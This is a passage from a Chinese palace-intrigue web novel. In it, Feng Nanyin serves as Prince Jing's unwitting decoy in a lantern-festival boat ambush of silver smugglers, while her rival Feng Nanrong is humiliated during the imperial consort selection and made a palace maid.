凤南蓉这下高兴了,她道:“母亲,我相中一件白色内衬暗红色的玉兰花样流仙裙,还有一身绿色百蝶纱裙我也喜欢,这两身都做出来我带进宫可好?” 她甚至已经想象到,等她穿着那衣裙,将是怎么样的独占鳌头了! 第一百五十九章靖王上门 转眼到了花灯节,今晚的京城又会锣鼓喧嚣,灯火通明。 可是除夕那夜的火龙在凤南茵心中留下了阴影,就熄了出去转的心思。 可是看到雏菊和蝶兰那抓耳挠腮的急切模样,便想着晚上给两人一些碎银子,让她们自己去玩,她就不出去了。 门房上有人进来通传。 “乡主,收到靖王请帖,邀您今晚戌时游船。” 凤南茵接过帖子,见那上面果然落了靖王的名讳,还盖了他的私印,便问:“何人送来的?” 门房人道:“是王府的小厮,小的没问姓名。” 凤南茵觉得这事有蹊跷,靖王那等忙的人,无事连德妃那里都没时间过去,怎么会邀请她游湖赏灯,莫不是有人想害她吧? 打发走下人,她依旧不准备出门。 如今她暗地里得罪的人可不少,凤家的人,贵妃那边的人,若是她们想给自己使坏,自己就带几个女眷出门,可是半点都保护不到她。 雏菊不知她心中打算,见靖王送了请柬,还在一旁欢喜地道:“主子,奴婢这就将那套橘色芙蓉花裙改个尺码,晚上您穿那身去游湖吧。” 凤南茵笑问她,“就几个时辰,你能改好?” “我和蝶兰一起裁剪,将身长改短些,腰身在里面拤一下,外面罩了大氅看不出来不合身的。” 凤南茵没有阻止,金娘子的衣裙确实好看,她也是喜欢的,今晚就算不出去,明日回宫她也可以穿。 毕竟明日秀女入宫,这等百花争艳,美女齐聚的热闹场面可比今晚的花灯节更吸引她的好奇。 近傍晚时,宫良背着药箱带着下人回府,神情略有疲累。 凤南茵忙将泡好的碧螺春倒了一盏递过去。 “师伯,那赵公子的伤可好些?” 宫良叹了一声,“说了几次,如今用夹板固定着断骨,剩下的就是熬时间,一个男子,娇气的不停喊叫,吵得人心烦。” 要不是看在靖王的颜面,这差事他早就甩手不干了。 “那赵夫人一直求我给他儿用些止痛的药,说过多少次了,用过药后他失了疼痛感会乱动,到时候就长残了。可解释还会再问,真是搞不懂。” 大夫最讨厌不配合的病人,若不是看在靖王的颜面,依着以往的脾气,绝对不会再登门。 凤南茵给他垂肩,“师伯,要不你告诉我在哪些穴位上下针,明日由我来吧。” 师伯都七十岁了,身子骨虽硬朗,可每日都被赵家人叫过去,在赵府耗上一整日,她是真的心疼。 宫良拍了拍她,“师伯还硬朗着呢,用不到你。” “师伯……” 宫良摆了摆手,“虽说医者眼中无性别,但赵公子伤你来诊不方便,这事你帮不了。” 凤南茵嘟唇,“都怪靖王,不然师伯也不用被赵家人折磨了。” “无碍,只是多年不行医,忘记这些贵人的嘴脸,一时唠叨几句罢了。” 宫良到底上了年纪,看得比较深。 靖王是想用赵大人,有丫头在,他就会尽力救治赵公子。 “时辰不早了,你还不去打扮?晚上的花灯节不看了。” 凤南茵嘟着唇坐下,“不太想看了,总觉得这京城不太平。” 上次看了舞龙,踩死了那么多人,最后还不是不了了之,死了就白死了,也没个说法的。 宫良爱怜地抚摸着她的头,“丫头十四了,再过两年也要成亲了,女子最美好自在的年月就是出嫁前。” “将来你成婚了,处处都受夫家限制,想出个门就没这么自在了。” “我不想成亲。” 女子为什么一定要成亲,成亲到底能给女人带来什么? 她现在,有地位,有钱,不成婚也能过得很好。 宫良哈哈大笑。 “哪有到了年岁不成婚的,等真着到了老姑娘的年纪,你想嫁都找不到好的了。” “那我就一直陪着师伯,或者咱们俩出去转两年,对外就当我成过亲了,然后独居到老。” 宫良忍不住好笑。 这丫头怕是还没开窍,不懂男女之情,等到了动情的时候,就要恨嫁了。 “好,等你过两年还这样想,咱们爷俩就出去游山玩水,过逍遥快活日子。” 凤南茵高兴了,甚至还有些期盼。 “那我一定去蜀地看看,阿爷一直想去的,最后也没实现。”细算起来,也是被她拖累的。 因为养爹贪心国公府给的银子,不肯离京城太远。 宫良见她还念着师弟,便道:“等天暖了,若无其它事,师伯就陪你去转转。” 他看出来了,德妃对这丫头是好,到底牵扯进了党争之中。 时局没有定下前,不回京城也好,丫头的身份一般人也不敢动她了。 凤南茵却忧郁了,这一走她希望用个一两年再回来,可是贵妃肚子里的孩子没生下来前,娘亲在后宫的位置就不稳。 贵妃随时有翻身的机会,一旦让她得势,娘亲就会有危险。 她应着,“那我们先计划着,如果没有什么事情牵扯着,我们就出发。” 爷孙俩畅想的极好,管家小跑着进来。 “老爷,小姐,靖王来了。” 凤南茵:…… 宫良受宠若惊,没想到王爷会来,忙起身去迎接。 凤南茵蹙着眉,这人今天好反常,不会有什么事吧? 好端端的赶着饭点过来,难不成靖王府过元宵节都没宴请的? 宫良迎到二道门时,靖王已经进来了,这本就是他的宅院,很是熟络地往正堂方向走。 “老朽参见靖王。” 时景轩抬手,“不必拘禁,本王今日无事,才从宫中出来,母妃让我给南茵带些点心吃食。” 凤南茵略有歉意道:“娘亲可还好?” 靖王示意进屋说。 到了正堂,靖王自然坐到了上首,看到果盘里被咬了一口的点心,还有吃掉半碟的果子,就知道这丫头在这过得很惬意。 这会却是端着身子,双手交叠放在膝盖上,装模作样的像那么回事。不由得想起茶楼那日,这丫头迈着六亲不认的步子,那副拽的大爷样子。 他觉得真性情模样可爱。 “都随意,不必拘礼。” 宫良到底不敢在他面前造次,小心地问:“王爷可用了晚膳?” 这边马上就要用餐了。 “近来宫中事多,父皇免了宴席,也是畅行节俭,确实还未用晚膳便出了宫。” 他瞄了一眼凤南茵,这丫头还一身常服模样,脑袋上只随意绑了一个辫子,这是不知戌时要出门? “可收到下人的请柬?” 第一百六十章冀宁乡主还没开窍 凤南茵点头,“天还冷着,湖面没结冰吗?我还以为是谁送了请帖耍我呢。” 靖王勾唇,“自然上冻,不过有取冰人开凿湖面,取掉的冰刚好够行船。” 凤南茵在心中哦了一声,原来还可以这样。 “怎么,见你兴致不高,不想去?” 凤南茵也不和他藏着掖着,道:“确实,上次舞龙死了那么多的人,到人多的地方我就会不舒服。” 从前觉得人多必有热闹,她就想挤进去瞧究竟,凑个乐。 接连看到人挤人的惨剧发生在眼前,她便生了恐惧心。 还有一点,其实是她今天心里不踏实,总感觉有事要发生,这种情况还是在家最踏实。 靖王向她解释,“上次那事已经查清,有人故意引天罚想影射朱家不仁,是想引动朝臣上书废后。已经查出幕后之人并做了处罚,百姓也得到了补偿,京城巡防也加强,不会再有事。” 凤南茵见他这样解释了,再说不想去就是落王爷的面子。 她轻轻颔首,表示知道了。 这时,下人传晚膳备好了。 宫良相着靖王去了饭堂。 他本就是注重口腹之欲之人,加上南茵在家,元宵节备了十八道菜,极尽风盛。 加上靖王带过来的六道,桌上餐盘摆了三层,可只三个落座。 席间,宫良有些拘禁不自在,一直在寒暄着敬酒,筷子都没伸两次。 凤南茵在暗中白了靖王好几眼。 真是的,大过节的跑来扰人家一家人其乐融融。 他要是不在,周婶和水水还有雏菊、蝶兰都能坐上来一起用餐。 现在三个人吃这一席,还不能痛快吃,简直是暴殄天物。 师伯那边才落了酒盏,就近夹了一块子素菜在碗里,半点不能痛快。 凤南茵见状,干脆端了碗,站起来绕着桌子将爱吃的全夹了一个遍,将小碗堆成小山,坐下后埋着头奋力干饭,小脸撑的鼓胀胀的。 宫良端着筷子愣住了。 “丫头,慢点吃。”再噎着。 靖王:“……” 他还没见过哪家闺秀吃相这样,像小松鼠。 不对,像饿死鬼…… “这么多吃的,没人和你抢。” 凤南茵在心里翻个大白眼,只低着头,吃的筷子飞舞,没一会小山一样的吃食就被她扒拉完。 随后优雅地扯了帕子,擦了一下嘴。 “我还要去梳妆,先行告退。” 回到房中,她往妆台前一坐,水水忙过来伺候帮她挽发。 “乡主,您……不怕王爷怪罪吗?” 刚刚连她都看出来了,主子不想多陪。 “放心吧,我敢百分百肯定,他今天来另有目的。” 这人做事,都不是表面上看起来那么简单,只是靖王葫芦里装的什么药,她看不穿罢了。 水水不懂,只知道王爷身份尊贵,他们这等人连看王爷一眼都不敢,主子却是嫌弃都写到了脸上。 凤南茵才吃饱,又要忍着梳妆,竟是闭着眼打起了瞌睡。 水水不敢吵她,只手上的动作更加轻柔了。 半刻钟后,雏菊抱着改好的衣裙过来,“乡主,您快试试合身不。” 凤南茵猛地磕了一下头,人醒了,还有一点迷糊,好半晌才想起来,今夜有游湖。 “哦,你们辛苦了,什么时辰了?” 雏菊看了一眼刻漏,“回乡主,戌时快过半了。” 凤南茵揉了揉脖子,“你们快去吃饭吧,剩下的我自己来。” 雏菊给她挑的是一件高腰襦裙,橘红色的上襦,月白色下裙,外衬橘色蚕丝罩纱,上面绣满花样,朵朵灵动。 胸前垂着银白色系带,明艳灵动。 水水给她梳了双平髻,还未及笄的年纪,她不喜往头上簪金挂银,便挑了两朵绒花一边各簪了一个,绒花下面垂着彩色宝石串珠流苏。 走到穿衣镜前,她美美地转了一圈,心情忽然变好起来。 不由得欢喜地蹦跳着出了门。 “雏菊,蝶兰……”快看看我美不美。 结果她一蹦一跳到了院中,就看到院中那株玉兰树下长身玉立着男子。 凤南茵忙稳住身子,尴尬地涨红了小脸。 靖王不在正堂坐着,大冷的天在院中站着做什么? “王爷。” 时景轩挑了挑眉,这丫头还真是欢滕,没人在近前时,都这般没个仪态的? “恩,怎么也不罩件大氅?” 他自然地将身上的裘皮大氅解下来裹在她身上,“你们女子,当真是为了美,根本不注意时节。” 还没开春,竟然将袄子都去了。 凤南茵刚刚是被铜镜中的自己美到了,这才得意忘形就冲了去想给雏菊看看。 她把大氅解下来送回去,虽然一下子就觉得好冷,还是拒绝道。 “我自己有,不敢让王爷冻着。” 她不好意思地往后退了退。 “我去找雏菊。” 靖王在她身上扫了一眼,这丫头竟然拒绝他的好意思,还真是…… 让人有力都使不到点上。 “既然装扮好了,就提前出发吧,本王在车上等你。” 凤南茵应了一声,习惯性地福身,又恢复了在宫中那般,端庄、拘禁。 靖王蹙眉,心下不喜。 如风在一旁早就跌掉下巴,王爷何时对女子这般关心过,前年在军中,王将军的嫡女不小心摔倒在王爷身前,不过扯了一下,王爷就将那件千金的紫貂大氅给丢了。 对冀宁乡主这般好,人家还不领情的? 他在心中感叹,王爷这般玉树临风、龙章凤姿、威武不凡的人,也有女人对他不假辞色的——难不成,冀宁乡主还没开窍? 凤南茵这会都要呕死了,一双小手捂在脸上,真是没脸见人了。 不过是穿了一件新衣服,又不是头一次,咋就得意忘形了,还被靖王看到了。 磨磨蹭蹭半刻钟,直到戌时整,她才慢悠悠地爬上靖王的马车。 靖王抱着双臂,头倚在车壁上闭着眼,像是等睡了。 凤南茵刚准备吁一口气悄无声找个边边坐下。 靖王冰冷的嗓音道:“还是第一次有人让本王等这么久,你真是胆子不小。” 凤南茵也不示弱,“王爷帖子上写的清楚,戌时出发,我可没迟到。” 时景轩倏地睁开眸子,因为等得久了,刚酒意上涌小憩,此时眼底带着血丝,眼神还未恢复清明,带着早前战场上养成的警惕习惯,眼底带着杀意。 凤南茵被他盯得半坐的身子定在半空,时间都似定格了,一动不敢动。 靖王看清是她,又恢复了淡漠的神色,正了正身子。 “出发。” 凤南茵撇开头,心中腹诽,“吓死人了,找人游湖还拉着一张脸,再多说一句我就跳车了。” 靖王清了清嗓子,“今夜你什么都不用管,只负责游玩尽兴就好,车上备了烟火,可以和你的丫鬟们在船上随意燃放。” 凤南茵可没有被他的这份宠爱冲昏脑子。 她问:“王爷,今晚你又要算计谁?” 拿她当掩护,她可没傻到玉树临风的靖王爷会对她一个没长开的小豆芽动心。 第一百六十一章就知道她是靖王的障眼法 靖王被她气乐了,“怎么,本王就不能有闲情游湖?” 凤南茵可不敢顶撞他了,谁知这人有没有起床气,管他目的是什么,出来了就要尽兴,扫兴可是很招人厌恶的。 她不作答,只挑了马车帘子向外张望。 外面的天早就黑透了,四下都挂着红灯笼,就连师伯的宅院都比往常多挂了十余盏,今日街头被照得灯火通明。 “今天夜一点不冷。” 真的很适合出来游玩,就是路太亮了,连天上的星星都看不见了。 时景轩见她顾左右而言他,呵笑一声,不再追究。 不管怎么说,今日邀这丫头游湖确实另有目的,倒是被她又猜中了。 二人到了太泊湖前,凤南茵被眼前的行船给惊呆了,本以为就一艘大一点的小舟罢了,怎么也没想到,竟然是双层的花船。 船身上下挂满了花灯,每一盏都不同,不知费了多少匠人的心力花了多少心思。 凤南茵带着周婶、水水,雏菊、蝶兰站在岸口,一个个仰着头,呆呆地张着嘴巴,一副吃惊的样子。 凤南茵感觉到身上有一道视线,瞥过去就见靖王嘴角上挑。 他竟然在嘲笑自己! 真是讨厌,没见过世面不是正常。 凤南茵清了一下嗓子,“不就是灯笼做的别致了些,别一副没见过世面的样子,上船。” 时景轩牵着唇角,控制不住地抖了抖,这人刚刚惊讶的表情比谁都夸张。 花船上准备了许多果点,就放在甲板上的八仙桌上。 凤南茵走过去,看着新鲜的果子摸着鼓鼓的肚子,暗叹可惜,吃不下了。 她们站在桌子前,一个个瞪圆了眼珠子,一看就是馋得厉害。 “想吃就敞开了肚皮吃。” 这些果子可是在京城有钱都买不到的好东西,凤南茵也只在浮光雅园尝过。 “吃不完记得都带回去。” 她今个没肚子吃,但给她准备的,就不能浪费。 凤南茵在船上转了一会,很是疑惑,今个魏锦怎么没来? 他不是最喜热闹,这种事怎么没在王爷身边? 靖王也不知去了哪,一上船就没了人影。 她撇撇嘴,就知道什么游湖都是假的。 转了一圈,她看到堆在船头小山一般高的烟花。 她招来雏菊,“你们快来,咱们来放烟花。” 她们都是正爱玩的年纪,没一会就笑闹开了,几个丫头银铃般欢快的声音传出老远,岸上的游人都被她们的笑声吸引了视线。 尤其是凤南茵,银狐大氅内橘色衣裙太过显眼,在灯光映照下,她脸上甜美的笑不知落了多少公子心上,又惹了多少姑娘家嫉妒。 凤南蓉此时站在一摊位前猜灯谜,她已经猜中九个,再猜中一个就能白得一个兔儿灯。 她不在乎那白送的东西,得意的是众人夸赞的目光,以及万众瞩目的得意。 这时有人喊,“快看,那船上的小姑娘长得真美啊!” 此时凤南蓉刚好将最后一个灯谜对上,可刚刚围着她的人都走到了河边,或是看着她们手上拿着甩的花火,或是盯着凤南茵那灵动的娇俏模样,哪还有人在乎凤南蓉的灯谜。 凤南蓉瞥过去,刚好花船经过,一眼便看到凤南茵。 她恨的捏断了指甲,“怎么又是那死丫头。” 为什么每次都是你抢走我的风头! 这是她在宫外的最后一夜,就不能让她开心一回? “姑娘,你的兔儿灯。” 凤南蓉再也不觉得那灯香,也不觉得这花灯有意思。 “年年都是这些陈芝麻烂谷子的破字谜,灯笼样式也没个心意,难怪你生意这么差。” 小商贩一听也来了火气。 “你这姑娘,我这好心好意送你兔儿灯,你还嫌弃上了。” 凤南蓉瞪他,“怎么,我哪说错了,你看看人家的灯,再看看你的,你的破灯白给本小姐也不稀得要。” 有人说,“这位小姐,你可错怪人了,那是宫里行船,那灯自然都是最好的能工巧匠扎出来的,这不能比。” 凤南蓉更醋了。 凤南茵能上的花船,还是宫里才能扎出的宫灯,靖王肯定在船上。 明明这一切都该是她的,可命运怎么将二人的身份生生弄反了? 她看着凤南茵脸上的笑,恨意翻涌,再没心情留在此。 这一夜,凤南茵确实玩开心了,与她的小丫头们在船上相互追逐着,手中的烟花就没断过,笑闹的好不畅快。 河道只一条独行航线,这时大船逆行的方向一盏孤灯缓缓靠近,竟是驶来一艘向京城方向的商船,眼看两船就顶在了一处。 “什么人,让开河道。” 花船这边还没人作声,对面的人先喊了起来。 刚刚夹板上还只有几个丫头的身影,只是一瞬间,如风便出现在船头。 “放肆,你们又是什么来头?” 对面不知行船上挂的是宫灯,只看到几名女子在那里玩烟花,还以为这艘花舟是哪个花楼出来待客的。 那人冷笑,“咱们可是朝廷用船,船上运的是送入宫的果子,你们敢耽误咱们送货,是不想要脑袋了?” “送果子的?” 如风冷笑,“这么说,你们是内务府的船只了?” 对面人蛮横道:“既然知道,还不退回,将船道让出来。” 如风忽地拔出腰间长剑,“放肆,连宫中用船都看不出,还敢冒充内务府用船,本侍卫今日倒要看看,你这船到底运的什么。” 对面人一听身份被识破了,还惹到了皇家人物便开始后悔,他们本想借着过节,玩个灯下黑,怎么就这么倒霉。 如风借力跳到对面船上,那些人对着如风同样拔出了刀,就想先杀人灭口,再驶船离开。 可刚刚只有几个女眷的大船,忽然多出一支羽卫,对着他们便射杀下去。 有人躲过箭矢就想跳河逃离,可这是冬季,船道也不过四丈宽,跳下去摔到冰面上,又被人射中了腿。 时景轩冷冷道:“拿活口。” 凤南茵早被几个丫头护着躲进了船舱,刚刚的欢愉不见,鼻尖全是浓重的血腥味。 水水被吓得全身发抖,“小姐,我们不会有危险吧?” 凤南茵闭了闭眼,压下心中紧张。 她就知道,自己是靖王安排的障眼法,目的就是让对方放松警惕,故意在这里拿人。 她安慰自己道:“有靖王在,那么多侍卫,一定不会有危险的。” 只是好心情再也没有了,她现在觉得又怕又冷,很想回家。 第一百六十二章凤南蓉入宫 很快,那船上的十人全部被拿下,掩人耳目的箱子被丢开,露出下面装满银子箱笼。 如风见目的达成,将银子命人转运上了花船。 靖王来到凤南茵面前,道:“本王这边还有公务要处理,这就命如风送你先回府。” 凤南茵点头,但一句都没有问。 靖王很喜欢她这份聪明性子,识大体,也不会因为他的单独邀约而想入非非。 不过,到底又利用了丫头一回,见她裙摆上被火星子溅出几个破洞,便想改日多送她几套衣服算做补偿。 回去的路上,车里沉闷无声,几个丫鬟都被刚刚的杀戮吓到。 那都是活生生的人,可一个个当着她们的面倒下,到处都是血,有的人拖拽下来时甚至已经没了气息。 马车停下,如风道:“乡主,王爷命小的将船上剩下的焰火都带了来,这就命人给您抬进去?” 凤南茵点头,只是她再没了放烟花的心思。 回到府邸,周婶子终是忍不住开了口。 “乡主,既然德妃准了您三个月在宫外生活,要不明日就别回宫了?” 凤南茵:“婶子为何这样说?” 周婶子知道不该多嘴,却实在担心,“老奴原觉得,靖王待您亲厚,德妃也宠爱您,可如今总觉得……” 总觉得她们在利用您,这真心都是假的。 这一次能安全回来了,下一次呢?万一今夜那些人再多一些,反杀上了花船,小主子可能就会没命了。 凤南茵见她眼底全是担忧,拍了拍她的肩膀。 “当初我求靖王送我入宫,就已经与他站在同一阵营,只有他强大,我才安全。” 想坐上那个位置,都是白骨堆砌,她能被靖王利用,起码还有价值。 现在想退,可是早已经躲不开了。 “去睡吧,没你想的那样可怕,再怎么说我都是德妃的义女,靖王不会让我有危险的。” “可婶子我这心实在放不下。” 凤南茵没办法再安慰她,只道:“今夜的事,一个字都不许与师伯讲。” 她又看向水水,“你也是。” 周水水拉了拉娘亲的衣袖,“娘,女儿觉得靖王很厉害,他一定能保护好小姐的,而且咱们小姐善良,老天也会保佑她无事的。” 她都看出来了,小姐不高兴了,娘还在这里劝,只会影响主子心情。 凤南茵的心情确实有一些受影响,只是并不严重,因为她懂得一个道理,既然有些事把握不住,便不去猜想,什么都比不上好好睡一觉重要。 翌日卯时,天还没亮凤南茵就起床了,梳洗完毕,陪师伯用了早膳便入了宫。 她答应今日给丽妃再诊一次脉,同时也想看看选秀的热闹。 与她满心期待的好奇不同,今日京中多少女子都在心怀忐忑,天不亮就等在神武门外,由内侍小公公领到顺贞门前集齐。 凤南蓉今日做了精心打扮,内衬月华白色齐腰襦裙,外罩雪雕绒大氅,今日她梳了一个飞天髻,侧戴一大朵绒花,斜鬓角簪了过耳流苏。 打扮简单又不会让人觉得寒酸,同时那朵大红的绒花又能让她很是打眼。 她更是多了一个心眼,在她过于饱满的眉心贴了一抹海棠花钿,整个人只需要往那一站,就能成为最抢眼的那个,她自信满满一定能被留下。 今日参选秀女共三百七十八人,辰时才到,便分成三队,由内务府公公将人领到殿内,经第一轮筛选。 这一关是极为考验女子承受力的,多少人受不了羞辱而想退出。 凤南蓉被带进去后,面对眼前一脸褶子的太监,她将藏于袖袋里的银子掏出来。 “公公,可不可以行个方便?” 她自以为聪明,如此可免于被查身体,却不料那人收了银子冷哼一声,“欺君可是大罪,你若不想查便可自行出宫。” 凤南蓉舍了五两银子,却闹了个大红脸,只好不情不愿地脱掉衣服,由着太监将她从上到下,从外到内都查了一遍。 “过了。” 出了暗房,凤南蓉直想找个地缝钻进去,长到这么大,第一次有了想死的心思。 可是看着院中站着的众多女子,哪一个不是这样过来的,她又坦然了。 为了将来,只能咬牙忍了。 又经二轮筛选,三百多人只余不到一百人。 这些人被引向体元殿。 选秀原本要由皇后主持,贵妃在旁掌眼,最终将牌子递上去,才由皇上定夺。 今日却是由德妃主持,良妃在旁掌眼。 凤南茵早早入宫,陪德妃用了早膳便到了体元殿,打扮成小宫女的模样站在德妃身后,看着太监领着浩浩荡荡的秀女到了殿外。 她一脸好奇地打量外面站着的众多秀女,一眼就瞧见了凤南蓉。 她蹙了一下眉,内心思忖:“不是说金娘子的衣服,每一件都是孤品吗?凤南蓉身上这套是怎么回事?” 她心中有了计较,悄悄退出去,然后偷偷去了春华宫。 太监喊到凤南蓉上前时,良妃被她的容貌惊艳了一把,“难怪凤夫人削尖了脑袋也要将女儿送进宫中,这等容貌说是今日众多采选秀女第一人,也不为过了。” 德妃笑笑,“妹妹觉得她好,便叫人留名?” 凤南蓉忙谢恩,随后得意地站到了留下的众多秀女近前。 最后被带到静怡轩的秀女只剩下三十人,每一位容貌都有自己独特的美,家世也各比各的强。 凤南蓉到这一刻才真正的忐忑起来,她既想被留下来,又怕皇上看中她选做妃嫔,不由得偷偷拿出袖中的帕子,将额头的花钿给蹭掉。 皇上下了朝便到了静怡轩,小坐片刻后,丽妃款款而来,身上穿着的正是凤南茵送的那套月华广袖流仙裙。 ?公公见她来了,忙上前迎接,“娘娘您怎么来了?” 这可是逾越了。 丽妃嘟着唇,一副娇痴的模样越过?公公坐到了皇帝怀里。 “皇上,今日新人入宫,便会有更年轻的妹妹入了皇上的眼,臣妾每每想到这里,这心就疼的紧。” 她说着,还红了眼眶,一副小女儿痴情难自禁的模样趴在皇帝肩头。 皇上最吃她这一套,每每撒娇他心都要化了。 今日更是从丽妃一进来,便被她的打扮吸引得心猿意马,恨不得立即揽了美人回宫温存。 “梨儿又乱吃醋了,朕如今有你伴在侧已经满足了。” “皇上就会哄臣妾欢心,那么多漂亮的妹妹入宫,不知又要多多少良人、美人伺候皇上,皇上哪还有时间再想起臣妾。” 皇上现在眼里心里都被姜妙梨给迷得填满了,忙道:“朕说不会,便是金口玉言,要不是给几位皇儿选妃纳妾,今年选秀都停办了。” “皇上说的是真的?那臣妾就坐在皇上身边不离开了,可行?” “好,爱妃就在这里,朕今日绝不纳一人充盈后宫。” 随后内侍太监便领了三十名已定秀女到了圣驾前,这些人的命运就全看在今日皇上的恩赏如何了。 姜妙梨却是红了眼,视线死死落在凤南蓉身上。 “中间那位身量高挑的女子,是哪府上的?” 第一百六十三章对凤南蓉要特别照顾 被丽妃这么一问,皇上也注意到了凤南蓉,他眼前一亮。 好明艳的女子! 这少女看上去也就十四五岁,竟是天生媚骨,眼波如丝,只轻轻抬眸瞥了这边一眼,他便忍不住心下微动。 丽妃感受到皇上不对,扯了他的手一下。 “皇上。” 丽妃娇痴一声,眼下一颗朱砂痣越发妖艳,竟是被气哭了。 “爱妃,你这是怎么了?” 他说着,心疼地拿帕子替对方拭泪,旁若无人。 下面的秀女一阵抽吸,原来帝王可以如此宠爱一人,那她们…… 一个个心情忐忑,局促不安。 “皇上刚还说只我一人就满足了,刚还不是被新人妹妹迷了眼。” “哪能,朕只是觉得她有几分眼熟,一时没想起是哪位大臣的女儿。” ?公公在心中叹道:“都是红颜祸水,皇上如今对丽妃算是言听计从了。” 他有眼力地在旁应道:“回皇上,回丽妃娘娘,这位是籍田令大人的妹妹,凤南蓉。” 皇上记起来了,两年前他远远见过这丫头,没想到出落的这般标致。 丽妃应了一声,“原来是前安国公府的嫡出大小姐,现籍田令妹妹,难怪这么大的胆子,故意在入宫第一日冲撞本宫。” 她声音不大,却带着明显的讽刺,清晰地传到众秀女耳中。 皇上这时也发现了问题,这凤南蓉的衣着竟然与今日梨儿的衣裙撞衫了。 凤南蓉忙欠身行礼,“皇上、娘娘,臣女不知犯了何错。” 丽妃打算给凤南蓉点颜色看看,也不枉南茵一早来求她。 她抢在皇上开口前,冷哧。 “你不敢?我看你敢的很,本宫身上衣裙出自金缕楼,本该是这世间仅有,冀宁乡主买下时,就曾说过会赠予本宫,你不但又仿了一件,还与本宫同时来穿,你是在告诉皇上,本宫老了,不及你颜色好吗?” 凤南蓉被挑茬出一身冷汗,扑通一声跪地。 “臣女不知娘娘今日也会穿这身衣裙,绝对没有冒犯之意。” “你是不知?但你今日穿着出门,叫本宫日后拾人牙慧?” 凤南蓉委屈死了,她不过是想打扮的出挑些争个彩头,怎么就得罪皇上宠妃。 皇上怜惜美人,见凤南蓉欲哭的模样,哄了句,“爱妃何必为这等小事置气,一件衣服而已,朕让她日后不许再穿就是。” 丽妃不情不愿地应了一声,“皇上说的是,是臣妾小气了。” 看那样子还是极为不满。 众秀女站在这,原本紧张不已,这会却是吃了一个大瓜。 她们早就看凤南蓉不顺眼了,就她心眼多,穿得那样出风头。 现在好了,还未得名分,就将宠妃给得罪了。 凤南蓉要不是怕殿前失仪,早就哭出来了,沾上凤南茵,她就会倒霉。身上这套花了五百两赶制出来的衣服,凭什么她就不能再穿了。 丽妃将凤南蓉眼底的恨都收进眼里,心下谋划着算计。 一看就是个不安分的,从前她帮不上忙,现在这人入了宫,可就能替南茵出口气了。 这时公公传过来一张字条。 “皇上,这是德妃娘娘看中的秀女名单,让皇帝帮着瞧瞧,给靖王定下正妃人选。” 皇上看了一眼,保和殿大学士之女方云婉。 晋安侯嫡女谢宁。 户部尚书孙女柳婷芳。 家势都不错,一位是内阁首辅,与贵妃娘家可做制衡。 柳尚书为人刚正不阿,刻板,只忠主他这个皇帝。 晋安侯手有十万大军。 这谢家女与柳家女若是许给轩儿,靖王与安王的势力就会失去平衡,唯这方家女最为合适。 他道:“保和殿大学之女方云婉赐婚靖王为正妃。” 方云婉没想到她会被德妃看中,忙站出来跪地谢恩。 凤南蓉嫉妒的心口都泛了酸,曾经德妃亲口说过,让她做靖王的正妃,如今却是方云婉的名分。 皇上又道:“赐,巡查御史之女姜心惠为靖王侧妃。” “尚书台任之女陶心蕊为安王侧妃。” 皇上一连为宗亲皇室子弟赐婚十人,随后大手一挥,“剩余秀女由内务府带走为其安排差事。” 竟是连最末等的美人都没有封赏一人,全部定为宫娥。 凤南蓉身形晃了晃,她到底差在了哪里,凭什么眼睛睁不开的姜心惠都能嫁靖王为侧妃,她却成了这宫中服侍人的宫娥。 丽妃这时施施然再次开口,“皇上,臣妾与凤秀女有缘,不如让她去我的春华宫服侍可好?” 她现在半点不怕恃宠而骄失宠,她肚子里已经有了,而她也早就对老皇帝应付的厌烦,当真是不怕失去者就可以有恃无恐,小心思在皇帝面前半点不加掩饰。 若是以往,皇上定然会对这种报复心强的妃嫔厌烦,可他如今对丽妃着迷,只觉得她这种连心事都不隐藏的小性儿可爱。 “春华宫是该多几个宫娥伺候,你喜欢哪个让?公公帮你记着,待她们学完规矩便送你宫里。” 丽妃笑得明艳无双,上前挽着皇帝的胳膊,“皇上,臣妾那里炖了药膳,要不要过去吃一碗暖暖身子?” …… 剩下的秀女被带去永和宫学规矩,她们这些秀女没有名分,日后也不会被宠幸,管事的嬷嬷和太监不会对她们客气,未来三个月的日子可想有多苦。 凤南茵这边故意与秀女的长队来了一个不期而遇。 管事龚嬷嬷忙带人叩拜,“见过冀宁乡主。” 凤南茵命人起身,视线往备受打击的凤南蓉身上扫了一眼。 她将一个荷包交给了龚嬷嬷,“嬷嬷,那位凤南蓉在家中时,性子不太好,我怕她日后本性不改,顶撞了宫中贵人,嬷嬷对她可要多费些心。” 龚嬷嬷还以为冀宁小主是要多照拂凤南蓉,怎么都没想到是那个意思的照顾。 “老奴省得,乡主放心,去春华宫那日,必是个极守规矩的奴才。” 凤南茵笑着点头,很是满意。 龚嬷嬷对后面的人吆喝,“走吧,别耽误时间,不许交头接耳。” 凤南蓉眼中含怒看着凤南茵,二人错身时,她似生了报复心般,道:“得意个什么,靖王被赐婚了,正妃、侧妃都没有你,德妃好似也没那么喜欢。” 她难过,肯定不及凤南茵万一。 这样一想,她心中就舒坦了。 第一百六十四章她不是没开窍,是看得清 凤南茵自然知道这些,她可一直躲在静怡轩后面瞧热闹的。 刚刚凤南蓉在得意个什么劲? 以为她喜欢靖王,所以靖王被赐婚了她该伤心难过? 那还真是让凤南蓉失望了,她一直清醒,知道自己是什么身份,才不会对人高马大的靖王动心。 喜欢他什么? 一只手就能把自己提起来拎着走? 还是喜欢他每一步都在算计人,永远摸不清他的心思? 不过靖王确实有让女子心动的地方,长得俊,高大威武又地位不凡,且他听取别人建议时,不会因为二人身份悬殊,而瞧不起人。 很有耐心,也爱民。 对她也确实可以,但凤南茵觉得,那都是因为德妃的原因,或者是一直以来的互惠互利的关系。 她想到这里,用力地点了点头,目前这个样子就很好,傻子才嫁皇家人,将来住进这深宫当金丝雀吗? 雏菊却有一点难过。 她以为,靖王待主子那么好,将来乡主也能入靖王府呢,所以,有一种悲伤,是旁人觉得你该悲伤。 “乡主,你心情还好吧?” 靖王一下子正妃、侧妃都定了人选,就算有留一侧妃位,乡主肯定不愿做小的。 凤南茵被问懵了,“我?我心情为什么不好?” 她不知这会多高兴呢。 就连左右发髻上戴的金蝈蝈触角都在晃动,要不是在宫里,怕是人都要跳起来了。 今天丽妃帮她狠狠出了一口恶气,凤南蓉想一朝飞枝头当凤凰的美梦也破灭了。 她一个娇生惯养的大小姐,日后要给人端茶倒水,心里不晓得怎么委屈呢。 “本王要成婚,你就这么欢喜?” 时景轩从暗处拐出,拦在凤南茵回宫路上。 他出现在太过突然,凤南茵心下光顾着得意了,一头撞在他胸口,鼻子酸到她直接痛出眼泪。 “唔!” 